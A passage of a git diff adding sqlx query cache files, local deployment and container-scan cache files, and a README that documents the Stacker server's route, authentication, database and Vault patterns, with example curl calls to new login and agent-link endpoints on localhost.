a/stacker/stacker/.sqlx/query-e648979c7b4c4ced099543c181db8c71c1f4fd980368cbf872cb8954c1c7be9e.json b/stacker/stacker/.sqlx/query-e648979c7b4c4ced099543c181db8c71c1f4fd980368cbf872cb8954c1c7be9e.json new file mode 100644 index 0000000..89afc6b --- /dev/null +++ b/stacker/stacker/.sqlx/query-e648979c7b4c4ced099543c181db8c71c1f4fd980368cbf872cb8954c1c7be9e.json @@ -0,0 +1,84 @@ +{ + "db_name": "PostgreSQL", + "query": "\n SELECT id, project_id, deployment_hash, user_id, deleted, status, runtime, metadata,\n last_seen_at, created_at, updated_at\n FROM deployment\n WHERE user_id = $1 AND project_id = $2 AND deleted = false\n ORDER BY created_at DESC\n LIMIT $3\n ", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "id", + "type_info": "Int4" + }, + { + "ordinal": 1, + "name": "project_id", + "type_info": "Int4" + }, + { + "ordinal": 2, + "name": "deployment_hash", + "type_info": "Varchar" + }, + { + "ordinal": 3, + "name": "user_id", + "type_info": "Varchar" + }, + { + "ordinal": 4, + "name": "deleted", + "type_info": "Bool" + }, + { + "ordinal": 5, + "name": "status", + "type_info": "Varchar" + }, + { + "ordinal": 6, + "name": "runtime", + "type_info": "Varchar" + }, + { + "ordinal": 7, + "name": "metadata", + "type_info": "Json" + }, + { + "ordinal": 8, + "name": "last_seen_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 9, + "name": "created_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 10, + "name": "updated_at", + "type_info": "Timestamptz" + } + ], + "parameters": { + "Left": [ + "Text", + "Int4", + "Int8" + ] + }, + "nullable": [ + false, + false, + false, + true, + true, + false, + false, + false, + true, + false, + false + ] + }, + "hash": "e648979c7b4c4ced099543c181db8c71c1f4fd980368cbf872cb8954c1c7be9e" +} diff --git a/stacker/stacker/.sqlx/query-f0af06a2002ce933966cf6cfe8289ea77781df5a251a6731b42f8ddefb8a4c8b.json b/stacker/stacker/.sqlx/query-f0af06a2002ce933966cf6cfe8289ea77781df5a251a6731b42f8ddefb8a4c8b.json new file mode 100644 index 0000000..0b08ecb --- /dev/null +++ b/stacker/stacker/.sqlx/query-f0af06a2002ce933966cf6cfe8289ea77781df5a251a6731b42f8ddefb8a4c8b.json @@ -0,0 +1,100 @@ +{ + "db_name": "PostgreSQL", + "query": "\n SELECT id, command_id, deployment_hash, type, status, priority,\n parameters, result, error, created_by, created_at, updated_at,\n timeout_seconds, metadata\n FROM commands\n WHERE command_id = $1\n ", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "id", + "type_info": "Uuid" + }, + { + "ordinal": 1, + "name": "command_id", + "type_info": "Varchar" + }, + { + "ordinal": 2, + "name": "deployment_hash", + "type_info": "Varchar" + }, + { + "ordinal": 3, + "name": "type", + "type_info": "Varchar" + }, + { + "ordinal": 4, + "name": "status", + "type_info": "Varchar" + }, + { + "ordinal": 5, + "name": "priority", + "type_info": "Varchar" + }, + { + "ordinal": 6, + "name": "parameters", + "type_info": "Jsonb" + }, + { + "ordinal": 7, + "name": "result", + "type_info": "Jsonb" + }, + { + "ordinal": 8, + "name": "error", + "type_info": "Jsonb" + }, + { + "ordinal": 9, + "name": "created_by", + "type_info": "Varchar" + }, + { + "ordinal": 10, + "name": "created_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 11, + "name": "updated_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 12, + "name": "timeout_seconds", + "type_info": "Int4" + }, + { + "ordinal": 13, + "name": "metadata", + "type_info": "Jsonb" + } + ], + "parameters": { + "Left": [ + "Text" + ] + }, + "nullable": [ + false, + false, + false, + false, + false, + false, + true, + true, + true, + false, + false, + false, + true, + true + ] + }, + "hash": "f0af06a2002ce933966cf6cfe8289ea77781df5a251a6731b42f8ddefb8a4c8b" +} diff --git a/stacker/stacker/.sqlx/query-fb07f53c015c852c4ef9e0ce52541f06835f8687122987d87fad751981b0c2b1.json b/stacker/stacker/.sqlx/query-fb07f53c015c852c4ef9e0ce52541f06835f8687122987d87fad751981b0c2b1.json new file mode 100644 index 0000000..58b296c --- /dev/null +++ b/stacker/stacker/.sqlx/query-fb07f53c015c852c4ef9e0ce52541f06835f8687122987d87fad751981b0c2b1.json @@ -0,0 +1,101 @@ +{ + "db_name": "PostgreSQL", + "query": "\n UPDATE commands\n SET status = $2, updated_at = NOW()\n WHERE command_id = $1\n RETURNING id, command_id, deployment_hash, type, status, priority,\n parameters, result, error, created_by, created_at, updated_at,\n timeout_seconds, metadata\n ", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "id", + "type_info": "Uuid" + }, + { + "ordinal": 1, + "name": "command_id", + "type_info": "Varchar" + }, + { + "ordinal": 2, + "name": "deployment_hash", + "type_info": "Varchar" + }, + { + "ordinal": 3, + "name": "type", + "type_info": "Varchar" + }, + { + "ordinal": 4, + "name": "status", + "type_info": "Varchar" + }, + { + "ordinal": 5, + "name": "priority", + "type_info": "Varchar" + }, + { + "ordinal": 6, + "name": "parameters", + "type_info": "Jsonb" + }, + { + "ordinal": 7, + "name": "result", + "type_info": "Jsonb" + }, + { + "ordinal": 8, + "name": "error", + "type_info": "Jsonb" + }, + { + "ordinal": 9, + "name": "created_by", + "type_info": "Varchar" + }, + { + "ordinal": 10, + "name": "created_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 11, + "name": "updated_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 12, + "name": "timeout_seconds", + "type_info": "Int4" + }, + { + "ordinal": 13, + "name": "metadata", + "type_info": "Jsonb" + } + ], + "parameters": { + "Left": [ + "Text", + "Varchar" + ] + }, + "nullable": [ + false, + false, + false, + false, + false, + false, + true, + true, + true, + false, + false, + false, + true, + true + ] + }, + "hash": "fb07f53c015c852c4ef9e0ce52541f06835f8687122987d87fad751981b0c2b1" +} diff --git a/stacker/stacker/.sqlx/query-fc9ced694afee8f8a87e9013347e1b5f91dfb6e64e3011628922b34bbccf0ea4.json b/stacker/stacker/.sqlx/query-fc9ced694afee8f8a87e9013347e1b5f91dfb6e64e3011628922b34bbccf0ea4.json new file mode 100644 index 0000000..28656ce --- /dev/null +++ b/stacker/stacker/.sqlx/query-fc9ced694afee8f8a87e9013347e1b5f91dfb6e64e3011628922b34bbccf0ea4.json @@ -0,0 +1,130 @@ +{ + "db_name": "PostgreSQL", + "query": "\n SELECT\n s.id,\n s.user_id,\n s.project_id,\n s.cloud_id,\n c.provider as \"cloud?: String\",\n s.region,\n s.zone,\n s.server,\n s.os,\n s.disk_type,\n s.created_at,\n s.updated_at,\n s.srv_ip,\n s.ssh_port,\n s.ssh_user,\n s.vault_key_path,\n s.connection_mode,\n s.key_status,\n s.name\n FROM server s\n LEFT JOIN cloud c ON s.cloud_id = c.id\n WHERE s.user_id=$1\n ORDER BY s.created_at DESC\n ", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "id", + "type_info": "Int4" + }, + { + "ordinal": 1, + "name": "user_id", + "type_info": "Varchar" + }, + { + "ordinal": 2, + "name": "project_id", + "type_info": "Int4" + }, + { + "ordinal": 3, + "name": "cloud_id", + "type_info": "Int4" + }, + { + "ordinal": 4, + "name": "cloud?: String", + "type_info": "Varchar" + }, + { + "ordinal": 5, + "name": "region", + "type_info": "Varchar" + }, + { + "ordinal": 6, + "name": "zone", + "type_info": "Varchar" + }, + { + "ordinal": 7, + "name": "server", + "type_info": "Varchar" + }, + { + "ordinal": 8, + "name": "os", + "type_info": "Varchar" + }, + { + "ordinal": 9, + "name": "disk_type", + "type_info": "Varchar" + }, + { + "ordinal": 10, + "name": "created_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 11, + "name": "updated_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 12, + "name": "srv_ip", + "type_info": "Varchar" + }, + { + "ordinal": 13, + "name": "ssh_port", + "type_info": "Int4" + }, + { + "ordinal": 14, + "name": "ssh_user", + "type_info": "Varchar" + }, + { + "ordinal": 15, + "name": "vault_key_path", + "type_info": "Varchar" + }, + { + "ordinal": 16, + "name": "connection_mode", + "type_info": "Varchar" + }, + { + "ordinal": 17, + "name": "key_status", + "type_info": "Varchar" + }, + { + "ordinal": 18, + "name": "name", + "type_info": "Varchar" + } + ], + "parameters": { + "Left": [ + "Text" + ] + }, + "nullable": [ + false, + false, + false, + true, + false, + true, + true, + true, + true, + true, + false, + false, + true, + true, + true, + true, + false, + false, + true + ] + }, + "hash": "fc9ced694afee8f8a87e9013347e1b5f91dfb6e64e3011628922b34bbccf0ea4" +} diff --git a/stacker/stacker/.sqlx/query-fdb45a4fb83d33464cddc021f3cdfebd5dd137795ab393492b02ab517546a708.json b/stacker/stacker/.sqlx/query-fdb45a4fb83d33464cddc021f3cdfebd5dd137795ab393492b02ab517546a708.json new file mode 100644 index 0000000..f9b29b1 --- /dev/null +++ b/stacker/stacker/.sqlx/query-fdb45a4fb83d33464cddc021f3cdfebd5dd137795ab393492b02ab517546a708.json @@ -0,0 +1,218 @@ +{ + "db_name": "PostgreSQL", + "query": "\n UPDATE project_app SET\n code = $2,\n name = $3,\n image = $4,\n environment = $5,\n ports = $6,\n volumes = $7,\n domain = $8,\n ssl_enabled = $9,\n resources = $10,\n restart_policy = $11,\n command = $12,\n entrypoint = $13,\n networks = $14,\n depends_on = $15,\n healthcheck = $16,\n labels = $17,\n config_files = $18,\n template_source = $19,\n enabled = $20,\n deploy_order = $21,\n parent_app_code = $22,\n deployment_id = $23,\n config_version = COALESCE(config_version, 0) + 1,\n updated_at = NOW()\n WHERE id = $1\n RETURNING *\n ", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "id", + "type_info": "Int4" + }, + { + "ordinal": 1, + "name": "project_id", + "type_info": "Int4" + }, + { + "ordinal": 2, + "name": "code", + "type_info": "Varchar" + }, + { + "ordinal": 3, + "name": "name", + "type_info": "Varchar" + }, + { + "ordinal": 4, + "name": "image", + "type_info": "Varchar" + }, + { + "ordinal": 5, + "name": "environment", + "type_info": "Jsonb" + }, + { + "ordinal": 6, + "name": "ports", + "type_info": "Jsonb" + }, + { + "ordinal": 7, + "name": "volumes", + "type_info": "Jsonb" + }, + { + "ordinal": 8, + "name": "domain", + "type_info": "Varchar" + }, + { + "ordinal": 9, + "name": "ssl_enabled", + "type_info": "Bool" + }, + { + "ordinal": 10, + "name": "resources", + "type_info": "Jsonb" + }, + { + "ordinal": 11, + "name": "restart_policy", + "type_info": "Varchar" + }, + { + "ordinal": 12, + "name": "command", + "type_info": "Text" + }, + { + "ordinal": 13, + "name": "entrypoint", + "type_info": "Text" + }, + { + "ordinal": 14, + "name": "networks", + "type_info": "Jsonb" + }, + { + "ordinal": 15, + "name": "depends_on", + "type_info": "Jsonb" + }, + { + "ordinal": 16, + "name": "healthcheck", + "type_info": "Jsonb" + }, + { + "ordinal": 17, + "name": "labels", + "type_info": "Jsonb" + }, + { + "ordinal": 18, + "name": "enabled", + "type_info": "Bool" + }, + { + "ordinal": 19, + "name": "deploy_order", + "type_info": "Int4" + }, + { + "ordinal": 20, + "name": "created_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 21, + "name": "updated_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 22, + "name": "config_version", + "type_info": "Int4" + }, + { + "ordinal": 23, + "name": "vault_synced_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 24, + "name": "vault_sync_version", + "type_info": "Int4" + }, + { + "ordinal": 25, + "name": "config_hash", + "type_info": "Varchar" + }, + { + "ordinal": 26, + "name": "config_files", + "type_info": "Jsonb" + }, + { + "ordinal": 27, + "name": "template_source", + "type_info": "Varchar" + }, + { + "ordinal": 28, + "name": "parent_app_code", + "type_info": "Varchar" + }, + { + "ordinal": 29, + "name": "deployment_id", + "type_info": "Int4" + } + ], + "parameters": { + "Left": [ + "Int4", + "Varchar", + "Varchar", + "Varchar", + "Jsonb", + "Jsonb", + "Jsonb", + "Varchar", + "Bool", + "Jsonb", + "Varchar", + "Text", + "Text", + "Jsonb", + "Jsonb", + "Jsonb", + "Jsonb", + "Jsonb", + "Varchar", + "Bool", + "Int4", + "Varchar", + "Int4" + ] + }, + "nullable": [ + false, + false, + false, + false, + false, + true, + true, + true, + true, + true, + true, + true, + true, + true, + true, + true, + true, + true, + true, + true, + false, + false, + false, + true, + true, + true, + true, + true, + true, + true + ] + }, + "hash": "fdb45a4fb83d33464cddc021f3cdfebd5dd137795ab393492b02ab517546a708" +} diff --git a/stacker/stacker/.sqlx/query-ffb567ac44b9a0525bd41392c3a865d0612bc0d3f620d5cba76a6b44a8812417.json b/stacker/stacker/.sqlx/query-ffb567ac44b9a0525bd41392c3a865d0612bc0d3f620d5cba76a6b44a8812417.json new file mode 100644 index 0000000..12efb85 --- /dev/null +++ b/stacker/stacker/.sqlx/query-ffb567ac44b9a0525bd41392c3a865d0612bc0d3f620d5cba76a6b44a8812417.json @@ -0,0 +1,48 @@ +{ + "db_name": "PostgreSQL", + "query": "\n UPDATE agreement\n SET\n name=$2,\n text=$3,\n updated_at=NOW() at time zone 'utc'\n WHERE id = $1\n RETURNING *\n ", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "id", + "type_info": "Int4" + }, + { + "ordinal": 1, + "name": "name", + "type_info": "Varchar" + }, + { + "ordinal": 2, + "name": "text", + "type_info": "Text" + }, + { + "ordinal": 3, + "name": "created_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 4, + "name": "updated_at", + "type_info": "Timestamptz" + } + ], + "parameters": { + "Left": [ + "Int4", + "Varchar", + "Text" + ] + }, + "nullable": [ + false, + false, + false, + false, + false + ] + }, + "hash": "ffb567ac44b9a0525bd41392c3a865d0612bc0d3f620d5cba76a6b44a8812417" +} diff --git a/stacker/stacker/.sqlx/query-ffd49d0e0354d8d4010863204b1a1f5406b31542b6b0219d7daa1705bf7b2f37.json b/stacker/stacker/.sqlx/query-ffd49d0e0354d8d4010863204b1a1f5406b31542b6b0219d7daa1705bf7b2f37.json new file mode 100644 index 0000000..fd95a35 --- /dev/null +++ b/stacker/stacker/.sqlx/query-ffd49d0e0354d8d4010863204b1a1f5406b31542b6b0219d7daa1705bf7b2f37.json @@ -0,0 +1,22 @@ +{ + "db_name": "PostgreSQL", + "query": "SELECT status FROM stack_template WHERE id = $1::uuid", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "status", + "type_info": "Varchar" + } + ], + "parameters": { + "Left": [ + "Uuid" + ] + }, + "nullable": [ + false + ] + }, + "hash": "ffd49d0e0354d8d4010863204b1a1f5406b31542b6b0219d7daa1705bf7b2f37" +} diff --git a/stacker/stacker/.stacker/active-target b/stacker/stacker/.stacker/active-target new file mode 100644 index 0000000..c2c027f --- /dev/null +++ b/stacker/stacker/.stacker/active-target @@ -0,0 +1 @@ +local \ No newline at end of file diff --git a/stacker/stacker/.stacker/deployment-local.lock b/stacker/stacker/.stacker/deployment-local.lock new file mode 100644 index 0000000..eb3c54d --- /dev/null +++ b/stacker/stacker/.stacker/deployment-local.lock @@ -0,0 +1,11 @@ +target: local +server_ip: 127.0.0.1 +ssh_user: null +ssh_port: null +server_name: null +deployment_id: null +project_id: null +cloud_id: null +project_name: null +stacker_email: null +deployed_at: 2026-05-22T08:07:42.825783+00:00 diff --git a/stacker/stacker/.stacker/pipe-scan-cache/f79eac4704d9c487b82a80b0f42b4d120121d1678b513eb10107c8629805d7b2.json b/stacker/stacker/.stacker/pipe-scan-cache/f79eac4704d9c487b82a80b0f42b4d120121d1678b513eb10107c8629805d7b2.json new file mode 100644 index 0000000..7027a7c --- /dev/null +++ b/stacker/stacker/.stacker/pipe-scan-cache/f79eac4704d9c487b82a80b0f42b4d120121d1678b513eb10107c8629805d7b2.json @@ -0,0 +1,195 @@ +{ + "version": 1, + "selector": { + "mode": "local", + "selector_kind": "containers", + "selector": "local", + "deployment_hash": null, + "container": null + }, + "protocols_requested": [ + "graphql", + "grpc", + "html_forms", + "kafka", + "mcp", + "mysql", + "openapi", + "postgres", + "rabbitmq", + "redis", + "rest", + "websocket" + ], + "capture_samples": false, + "cached_at": "2026-05-22T08:14:48.193770+00:00", + "report": { + "type": "probe_endpoints", + "deployment_hash": "local", + "app_code": "local", + "protocols_detected": [ + "html_forms" + ], + "protocols_requested": [ + "graphql", + "grpc", + "html_forms", + "kafka", + "mcp", + "mysql", + "openapi", + "postgres", + "rabbitmq", + "redis", + "rest", + "websocket" + ], + "containers": [ + { + "name": "status-panel-web", + "image": "trydirect/status-panel-web:latest", + "network": "web_default", + "ports": [ + "3000->3000/tcp", + "3000/tcp" + ], + "addresses": [ + "172.20.0.3:3000", + "172.20.0.3:3000" + ] + }, + { + "name": "web-smtp-1", + "image": "trydirect/smtp", + "network": "web_default", + "ports": [ + "1025->1025/tcp", + "8025->8025/tcp", + "1025/tcp", + "25/tcp", + "8025/tcp" + ], + "addresses": [ + "172.20.0.2:1025", + "172.20.0.2:8025", + "172.20.0.2:1025", + "172.20.0.2:25", + "172.20.0.2:8025" + ] + }, + { + "name": "status-website-scenario-test", + "image": "status-website:0.1.0", + "network": "bridge", + "ports": [ + "3100->3000/tcp", + "3000/tcp" + ], + "addresses": [ + "172.17.0.2:3000", + "172.17.0.2:3000" + ] + } + ], + "endpoints": [], + "resources": [], + "forms": [ + { + "container": "status-panel-web", + "id": "status-panel-web/contact", + "action": "/contact", + "method": "POST", + "fields": [ + "$ACTION_REF_1", + "$ACTION_1:0", + "$ACTION_1:1", + "$ACTION_KEY", + "name", + "email", + "subject", + "message" + ] + }, + { + "container": "status-website-scenario-test", + "id": "status-website-scenario-test/contact", + "action": "/contact", + "method": "POST", + "fields": [ + "$ACTION_REF_1", + "$ACTION_1:0", + "$ACTION_1:1", + "$ACTION_KEY", + "name", + "email", + "subject", + "message" + ] + } + ], + "probe_attempts": [ + { + "scope": "local_container", + "selector": "local", + "container": "status-panel-web", + "protocols": [ + "graphql", + "grpc", + "html_forms", + "kafka", + "mcp", + "mysql", + "openapi", + "postgres", + "rabbitmq", + "redis", + "rest", + "websocket" + ], + "outcome": "detected" + }, + { + "scope": "local_container", + "selector": "local", + "container": "web-smtp-1", + "protocols": [ + "graphql", + "grpc", + "html_forms", + "kafka", + "mcp", + "mysql", + "openapi", + "postgres", + "rabbitmq", + "redis", + "rest", + "websocket" + ], + "outcome": "empty" + }, + { + "scope": "local_container", + "selector": "local", + "container": "status-website-scenario-test", + "protocols": [ + "graphql", + "grpc", + "html_forms", + "kafka", + "mcp", + "mysql", + "openapi", + "postgres", + "rabbitmq", + "redis", + "rest", + "websocket" + ], + "outcome": "detected" + } + ], + "target_kind": "html_form", + "probed_at": "2026-05-22T08:14:48.193108+00:00" + } +} \ No newline at end of file diff --git a/stacker/stacker/.stacker/pipe-scan-cache/latest-eedff7c5b3dd3b23b83cb17ec32d80d8cb89dd0559523389403168c11dcf1d2d.json b/stacker/stacker/.stacker/pipe-scan-cache/latest-eedff7c5b3dd3b23b83cb17ec32d80d8cb89dd0559523389403168c11dcf1d2d.json new file mode 100644 index 0000000..7027a7c --- /dev/null +++ b/stacker/stacker/.stacker/pipe-scan-cache/latest-eedff7c5b3dd3b23b83cb17ec32d80d8cb89dd0559523389403168c11dcf1d2d.json @@ -0,0 +1,195 @@ +{ + "version": 1, + "selector": { + "mode": "local", + "selector_kind": "containers", + "selector": "local", + "deployment_hash": null, + "container": null + }, + "protocols_requested": [ + "graphql", + "grpc", + "html_forms", + "kafka", + "mcp", + "mysql", + "openapi", + "postgres", + "rabbitmq", + "redis", + "rest", + "websocket" + ], + "capture_samples": false, + "cached_at": "2026-05-22T08:14:48.193770+00:00", + "report": { + "type": "probe_endpoints", + "deployment_hash": "local", + "app_code": "local", + "protocols_detected": [ + "html_forms" + ], + "protocols_requested": [ + "graphql", + "grpc", + "html_forms", + "kafka", + "mcp", + "mysql", + "openapi", + "postgres", + "rabbitmq", + "redis", + "rest", + "websocket" + ], + "containers": [ + { + "name": "status-panel-web", + "image": "trydirect/status-panel-web:latest", + "network": "web_default", + "ports": [ + "3000->3000/tcp", + "3000/tcp" + ], + "addresses": [ + "172.20.0.3:3000", + "172.20.0.3:3000" + ] + }, + { + "name": "web-smtp-1", + "image": "trydirect/smtp", + "network": "web_default", + "ports": [ + "1025->1025/tcp", + "8025->8025/tcp", + "1025/tcp", + "25/tcp", + "8025/tcp" + ], + "addresses": [ + "172.20.0.2:1025", + "172.20.0.2:8025", + "172.20.0.2:1025", + "172.20.0.2:25", + "172.20.0.2:8025" + ] + }, + { + "name": "status-website-scenario-test", + "image": "status-website:0.1.0", + "network": "bridge", + "ports": [ + "3100->3000/tcp", + "3000/tcp" + ], + "addresses": [ + "172.17.0.2:3000", + "172.17.0.2:3000" + ] + } + ], + "endpoints": [], + "resources": [], + "forms": [ + { + "container": "status-panel-web", + "id": "status-panel-web/contact", + "action": "/contact", + "method": "POST", + "fields": [ + "$ACTION_REF_1", + "$ACTION_1:0", + "$ACTION_1:1", + "$ACTION_KEY", + "name", + "email", + "subject", + "message" + ] + }, + { + "container": "status-website-scenario-test", + "id": "status-website-scenario-test/contact", + "action": "/contact", + "method": "POST", + "fields": [ + "$ACTION_REF_1", + "$ACTION_1:0", + "$ACTION_1:1", + "$ACTION_KEY", + "name", + "email", + "subject", + "message" + ] + } + ], + "probe_attempts": [ + { + "scope": "local_container", + "selector": "local", + "container": "status-panel-web", + "protocols": [ + "graphql", + "grpc", + "html_forms", + "kafka", + "mcp", + "mysql", + "openapi", + "postgres", + "rabbitmq", + "redis", + "rest", + "websocket" + ], + "outcome": "detected" + }, + { + "scope": "local_container", + "selector": "local", + "container": "web-smtp-1", + "protocols": [ + "graphql", + "grpc", + "html_forms", + "kafka", + "mcp", + "mysql", + "openapi", + "postgres", + "rabbitmq", + "redis", + "rest", + "websocket" + ], + "outcome": "empty" + }, + { + "scope": "local_container", + "selector": "local", + "container": "status-website-scenario-test", + "protocols": [ + "graphql", + "grpc", + "html_forms", + "kafka", + "mcp", + "mysql", + "openapi", + "postgres", + "rabbitmq", + "redis", + "rest", + "websocket" + ], + "outcome": "detected" + } + ], + "target_kind": "html_form", + "probed_at": "2026-05-22T08:14:48.193108+00:00" + } +} \ No newline at end of file diff --git a/stacker/stacker/ANALYSIS_README.md b/stacker/stacker/ANALYSIS_README.md new file mode 100644 index 0000000..f387c2b --- /dev/null +++ b/stacker/stacker/ANALYSIS_README.md @@ -0,0 +1,332 @@ +# Stacker Server Codebase Analysis - Complete Documentation + +This directory contains comprehensive documentation about the Stacker Server codebase patterns and how to add the two new endpoints. + +## Documentation Files + +### 1. **QUICK_REFERENCE.md** ⭐ START HERE +- **Length**: 283 lines +- **Purpose**: High-level summary of all key patterns +- **Contains**: + - Route structure overview + - Authentication/user extraction patterns + - Database query patterns + - Response/error handling + - Vault client usage + - Audit logging + - Middleware stack + - Dependency injection + - Implementation checklists for both endpoints + - Database models needed + - Testing examples + +**Best for**: Quick lookup, implementation planning, testing + +--- + +### 2. **IMPLEMENTATION_GUIDE.md** 📚 DETAILED REFERENCE +- **Length**: 1,131 lines +- **Purpose**: In-depth explanation of all codebase patterns +- **Contains**: + - Route structure & registration (with file organization) + - Agent registration pattern (complete flow with idempotency) + - Authentication & middleware (all 6 auth methods) + - Database layer (connection pools, query patterns, error handling) + - Response/error handling builder pattern + - Deployment model (table structure, responses) + - Agent model (table structure, lifecycle methods) + - Vault client pattern (token storage with retry logic) + - Complete handler pattern example + - Implementation guide for both endpoints (full code) + - Configuration & dependency injection + - Key patterns summary + +**Best for**: Understanding why patterns exist, deep dives, reference implementation + +--- + +### 3. **CODE_SNIPPETS.md** 💻 COPY-PASTE READY +- **Length**: 605 lines +- **Purpose**: Production-ready code snippets +- **Contains**: + - `src/routes/auth/login.rs` - Complete login handler + - `src/routes/auth/mod.rs` - Module definition + - `src/routes/agent/link.rs` - Complete link handler + - Updated `src/routes/agent/mod.rs` - Add link module + - Updated `src/routes/mod.rs` - Add auth module + - `src/db/user.rs` - User database queries + - Updated `src/startup.rs` - Register new routes + - VaultClient extensions - Add session methods + - Database migration SQL - Create users/sessions tables + - Recommended: Database-backed sessions instead of Vault + +**Best for**: Copy-paste implementation, exact code patterns + +--- + +## Quick Start Implementation Path + +### Step 1: Read QUICK_REFERENCE.md +- Understand the patterns +- Review implementation checklists +- Note database requirements + +### Step 2: Copy Code from CODE_SNIPPETS.md +- Create `src/routes/auth/` directory and files +- Add `src/routes/agent/link.rs` +- Update route registrations +- Create database migrations + +### Step 3: Use IMPLEMENTATION_GUIDE.md for Questions +- If you need to understand WHY a pattern is used +- If you need to adapt code for different scenarios +- If you want to see how existing patterns work + +--- + +## Key Findings from Codebase Analysis + +### Route Organization +``` +/api/v1/agent → Agent registration/management +/api/v1/deployments → Deployment status queries +/api/v1/commands → Command creation/execution +/api/v1/auth → ⭐ NEW: Login endpoint +/api/v1/agents → ⭐ EXTENDED: Link endpoint +``` + +### Authentication Methods (Tried in Order) +1. Agent Token (X-Agent-Token header) +2. JWT Bearer Token (Authorization header) +3. OAuth Callback Tokens +4. Session Cookies +5. HMAC Signature +6. Anonymous (public access) + +### Error Handling Pattern +```rust +// All DB functions return Result +// All handlers return Result +// All errors wrapped in JsonResponse with appropriate HTTP status + +Err(JsonResponse::::build() + .bad_request("msg")) // 400 +Err(JsonResponse::::build() + .forbidden("msg")) // 403 +Err(JsonResponse::::build() + .not_found("msg")) // 404 +Err(JsonResponse::::build() + .internal_server_error("msg")) // 500 +``` + +### Token Generation & Storage Pattern +- **Token Format**: 86-character random string (alphanumeric + dash/underscore) +- **Storage**: Vault (distributed) or Database (recommended for sessions) +- **Async Storage**: Fire-and-forget with 3 retries on exponential backoff (2s, 4s, 8s) +- **Request Success**: Not blocked by Vault storage failures +- **Idempotency**: Tokens reused if agent/session already exists + +### Deployment Model +``` +User (1) ──→ (N) Projects ──→ (N) Deployments ──→ (1) Agent + user_id user_id + deployment_hash +``` + +**Key Query Pattern**: +```rust +// Ownership verification +if d.user_id.as_deref() != Some(&user_id) { + return Err(JsonResponse::build().not_found("...")); // Hide that it exists +} +``` + +### Middleware Stack +``` +App wrapping order: +1. CORS - Allow cross-origin requests +2. Tracing - Log all requests +3. Authorization (Casbin) - Role-based access control +4. Authentication (6 methods) - Extract & inject User +5. Compression - Gzip responses +``` + +### Database Pattern +- **Main Pool**: `api_pool` - General purpose +- **Agent Pool**: `agent_pool` - Dedicated for agent operations +- **Query Style**: `sqlx::query_as!()` for compile-time checking +- **Error Handling**: Map `RowNotFound` separately, convert all to `String` +- **Tracing**: All queries wrapped with `.instrument(query_span)` + +### Deployment Queries Available +```rust +db::deployment::fetch(pool, id) → Option +db::deployment::fetch_by_user(pool, user_id, limit) → Vec +db::deployment::fetch_by_project_id(pool, project_id) → Option +db::deployment::fetch_by_user_and_project(pool, user_id, project_id, limit) → Vec +db::deployment::fetch_by_deployment_hash(pool, hash) → Option +``` + +### Audit Logging Pattern +```rust +let audit_log = models::AuditLog::new( + Some(agent_id), + Some(deployment_hash), + "action_name".to_string(), + Some("success".to_string()), +) +.with_details(serde_json::json!({"key": value})) +.with_ip(req.peer_addr().map(|a| a.ip().to_string()).unwrap_or_default()); + +db::agent::log_audit(pool.get_ref(), audit_log).await; +``` + +--- + +## Files Changed/Created + +### New Files +1. `src/routes/auth/mod.rs` - Auth module definition +2. `src/routes/auth/login.rs` - Login handler (complete) +3. `src/routes/agent/link.rs` - Link agent handler (complete) +4. `src/db/user.rs` - User database queries +5. `migrations/[DATE]_create_users_sessions.sql` - DB schema + +### Modified Files +1. `src/routes/mod.rs` - Add `pub(crate) mod auth` +2. `src/routes/agent/mod.rs` - Add `pub use link::*` +3. `src/startup.rs` - Register `/api/v1/auth` and `/api/v1/agents` scopes +4. `src/models/user.rs` - Add `password_hash` field +5. `src/helpers/vault.rs` - Add session token methods (optional) + +--- + +## Testing the Endpoints + +### Test 1: Login +```bash +curl -X POST http://localhost:8080/api/v1/auth/login \ + -H "Content-Type: application/json" \ + -d '{ + "email": "user@example.com", + "password": "password123" + }' + +Expected Response (200): +{ + "message": "Login successful", + "item": { + "session_token": "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_", + "user": { + "id": "user-uuid", + "email": "user@example.com", + "first_name": "John", + "last_name": "Doe", + "role": "user" + }, + "deployments": [ + { + "id": 1, + "project_id": 100, + "deployment_hash": "abc123...", + "status": "active", + "created_at": "2024-01-15T10:30:00Z" + } + ] + } +} +``` + +### Test 2: Link Agent +```bash +curl -X POST http://localhost:8080/api/v1/agents/link \ + -H "Content-Type: application/json" \ + -d '{ + "session_token": "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_", + "deployment_id": 1, + "fingerprint": "agent-fingerprint-hash" + }' + +Expected Response (200): +{ + "message": "Agent linked successfully", + "item": { + "agent_id": "agent-uuid", + "deployment_id": 1, + "credentials": { + "token": "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_", + "deployment_hash": "abc123...", + "server_url": "https://stacker.example.com" + } + } +} +``` + +--- + +## Dependencies Required + +The code uses these crates (likely already in Cargo.toml): +- `actix-web` - HTTP framework +- `serde` / `serde_json` - JSON serialization +- `sqlx` - Database queries +- `rand` - Token generation +- `chrono` - Timestamps +- `uuid` - ID generation +- `bcrypt` - Password hashing (add if not present) +- `tracing` - Logging & instrumentation + +If `bcrypt` is missing, add to `Cargo.toml`: +```toml +bcrypt = "0.15" +``` + +--- + +## Architecture Patterns Checklist + +✓ **Route Pattern**: Scoped web services with macro-based handlers +✓ **Auth Pattern**: Middleware-injected Arc + ReqData extraction +✓ **DB Pattern**: sqlx with Result error type +✓ **Response Pattern**: JsonResponse builder with 